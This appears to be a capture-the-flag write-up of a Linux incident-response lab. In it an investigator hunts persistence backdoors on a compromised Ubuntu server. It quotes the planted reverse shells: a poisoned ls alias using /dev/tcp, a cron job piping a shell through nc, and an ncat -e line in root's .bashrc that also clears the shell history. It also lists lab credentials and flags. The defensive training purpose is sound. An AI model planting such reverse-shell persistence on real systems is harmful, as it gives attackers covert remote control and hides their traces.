

L2 - 10.5. Tardigrade

Task 1 - Connect to the machine via SSH

A server has been compromised, and the security team has decided to isolate the machine until it's been thoroughly cleaned up. Initial checks by the Incident Response team revealed that there are five different backdoors. It's your job to find and remediate them before giving the signal to bring the server back to production.

user: giorgio

password: armani

Answer the questions below

What is the server's OS version? Ubuntu 20.04.6 LTS

```
giorgio@ip-10-113-165-91:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 20.04.6 LTS
Release:        20.04
Codename:       focal
giorgio@ip-10-113-165-91:~$
```

Task 2 - Investigating the giorgio account

Since we're in the giorgio account already, we might as well have a look around.

Answer the questions below

What's the most interesting file you found in giorgio's home directory?

.bad_bash

```
giorgio@ip-10-113-165-91:~$ ls -a
.      .bash_history  .cache          .ssh
..     .bash_logout  .profile        .sudo_as_admin_successful
.bad_bash .bashrc       .selected_editor .viminfo
```

Another file that can be found in every user's home directory is the `.bashrc` file. Can you check if you can find something interesting in giorgio's `.bashrc`?

`ls='(bash -i >& /dev/tcp/172.10.6.9/6969 0>&1 & disown) 2>/dev/null; ls --color=auto'` (Open the `.bashrc` file in Vim. The shell is specified after `bash .`)

```
# some more ls aliases
alias ll='ls -alF'
alias la='ls -A'
alias l='ls -CF'
alias ls='(bash -i >& /dev/tcp/172.10.6.9/6969 0>&1 & disown) 2>/dev/null; ls --color=auto'
```

It seems we've covered the usual bases in giorgio's home directory, so it's time to check the scheduled tasks that he owns. Did you find anything interesting about scheduled tasks?

`/usr/bin/rm /tmp/f;/usr/bin/mkfifo /tmp/f;/usr/bin/cat /tmp/f|/bin/sh -i 2>&1|/usr/bin/nc 172.10.6.9 6969 >/tmp/f (`
Run `crontab -e` in the Linux terminal.)

```
# m h dom mon dow   command
* * * * * /usr/bin/rm /tmp/f;/usr/bin/mkfifo /tmp/f;/usr/bin/cat /tmp/f|/bin/sh -i 2>&1|/usr/bin/nc 172.10.6.9 6969 >/tmp/f
~
~
~
```

Task 3 - Dirty Wordlist Revisited

A dirty wordlist is essentially raw documentation of the investigation from the investigator's perspective. It may contain everything that would help lead the investigation forward, from actual IOCs to random notes. Keeping a dirty wordlist assures the investigator that a specific IOC has already been recorded, helping keep the investigation on track and preventing getting stuck in a closed loop of used leads.

It also helps the investigator remember the mindset that they had during the course of the investigation. The importance of taking note of one's mindset during different points of an investigation is usually given less importance in favour of focusing on the more exciting atomic indicators; however, recording it provides

further context on why a specific bit is recorded in the first place. This is how pivot points are decided and further leads, born and pursued.

The advantages of a dirty wordlist don't end here. A quick way to formally document findings at the end of the investigation is to clean them up. It is recommended to put in every sort of detail that may help during the course of the investigation. So, in the end, it would be easy to remove all the unneeded details and false leads, enrich actual IOCs, and establish points of emphasis. The flag for this task is: THM{d1rty_w0rdl1st}

Answer the questions below

This section is a bonus discussion on the importance of a dirty wordlist. Accept the extra point and happy hunting! What is the flag?

THM{d1rty_w0rdl1st}

Task 4 - Investigating the root account

Normal user accounts aren't the only place to leave persistence mechanisms. As such, we will then go ahead and investigate the root account.

Answer the questions below

A few moments after logging on to the root account, you find an error message in your terminal. What does it say? Ncat: TIMEOUT.

```
giorgio@ip-10-113-165-91:~$ sudo -l
[sudo] password for giorgio:
Matching Defaults entries for giorgio on ip-10-113-165-91:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User giorgio may run the following commands on ip-10-113-165-91:
    (ALL : ALL) ALL
giorgio@ip-10-113-165-91:~$ sudo su
root@ip-10-113-165-91:/home/giorgio# Ncat: TIMEOUT.
```

After moving forward with the error message, a suspicious command appears in the terminal as part of the error message. What command was displayed?

ncat -e /bin/bash 172.10.6.9 6969

```
giorgio@ip-10-113-165-91:~$ sudo su
root@ip-10-113-165-91:/home/giorgio# Ncat: TIMEOUT.

[1]+  Exit 1                  ncat -e /bin/bash 172.10.6.9 6969
root@ip-10-113-165-91:/home/giorgio#
```

You might wonder, "how did that happen? I didn't even do anything? I just logged as root, and it happened." Can you find out how the suspicious command has been implemented?

.bashrc (rc - run command, .bash is a **configuration file for the Bash shell** on Linux)

```
giorgio@ip-10-113-165-91:~$ sudo -l
[sudo] password for giorgio:
Matching Defaults entries for giorgio on ip-10-113-165-91:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/b
n\:/snap/bin

User giorgio may run the following commands on ip-10-113-165-91:
    (ALL : ALL) ALL
giorgio@ip-10-113-165-91:~$ sudo su
root@ip-10-113-165-91:/home/giorgio# Ncat: TIMEOUT.

[1]+  Exit 1                  ncat -e /bin/bash 172.10.6.9 6969
root@ip-10-113-165-91:/home/giorgio# cd /root
root@ip-10-113-165-91:~# ls
snap
root@ip-10-113-165-91:~# ls -a
.  ..  .bash_history  .bashrc  .cache  .profile  snap  .ssh  .viminfo
root@ip-10-113-165-91:~# vim .bashrc
```

```
# Alias definitions.
# You may want to put all your additions into a separate file like
# ~/.bash_aliases, instead of adding them here directly.
# See /usr/share/doc/bash-doc/examples in the bash-doc package.

if [ -f ~/.bash_aliases ]; then
    . ~/.bash_aliases
fi

# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
#if [ -f /etc/bash_completion ] && ! shopt -oq posix; then
#    . /etc/bash_completion
#fi

ncat -e /bin/bash 172.10.6.9 6969 &
cat /dev/null > /root/.bash_history
".bashrc" 102L, 3179C 102,35
```

Task 5 - Investigating the system

After checking the giorgio and the root accounts, it's essentially a free-for-all from here on, as finding more suspicious items depends on how well you know what's "normal" in the system.

Answer the questions below

There's one more persistence mechanism in the system. A good way to systematically dissect the system is to look for "usuals" and "unusuals". For example, you can check for commonly abused or unusual files and directories.

This specific persistence mechanism is directly tied to *something* (or someone?) already present in fresh Linux installs and may be abused and/or manipulated to fit an adversary's goals. What's its name?

| What is the last persistence mechanism?

(Check users with the command: `cat /etc/passwd`)

```
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
giorgio:x:1000:1000:giorgio:/home/giorgio:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
sshd:x:112:65534::/run/ssh:/usr/sbin/nologin
fwupd-refresh:x:113:117:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
```

Task 6 - Final Thoughts

Now that you've found the final persistence mechanism, it's time to clean up. The persistence mechanisms tackled in this room are common and straightforward; as such, the process of eradicating them is simple.

The first four persistence mechanisms can be remediated by simply removing the mechanism (e.g. delete the file, remove the commands). The last one, however, involves bringing back the "unusuals" to their "usual" state, which is a bit more complex as you intend for that particular user, file or process to function as before.

Answer the questions below

Finally, as you've already found the final persistence mechanism, there's value in going all the way through to the end. The adversary left a golden nugget of "advise" somewhere. What is the nugget?

THM{Nob0dy_1s_s@f3}

```
root@ip-10-113-165-91:/# ls
bin  etc  lib32  lost+found  nonexistent  root  snap  sys  var
boot  home  lib64  media      opt          run  srv   tmp
dev  lib  libx32  mnt        proc         sbin  swap.img  usr
root@ip-10-113-165-91:/# cd nonexistent
root@ip-10-113-165-91:/nonexistent# ls
root@ip-10-113-165-91:/nonexistent# ls -a
.  ..  .bash_history  .cache  .viminfo  .youfoundme
root@ip-10-113-165-91:/nonexistent# cat .youfoundme
THM{Nob0dy_1s_s@f3}
root@ip-10-113-165-91:/nonexistent#
```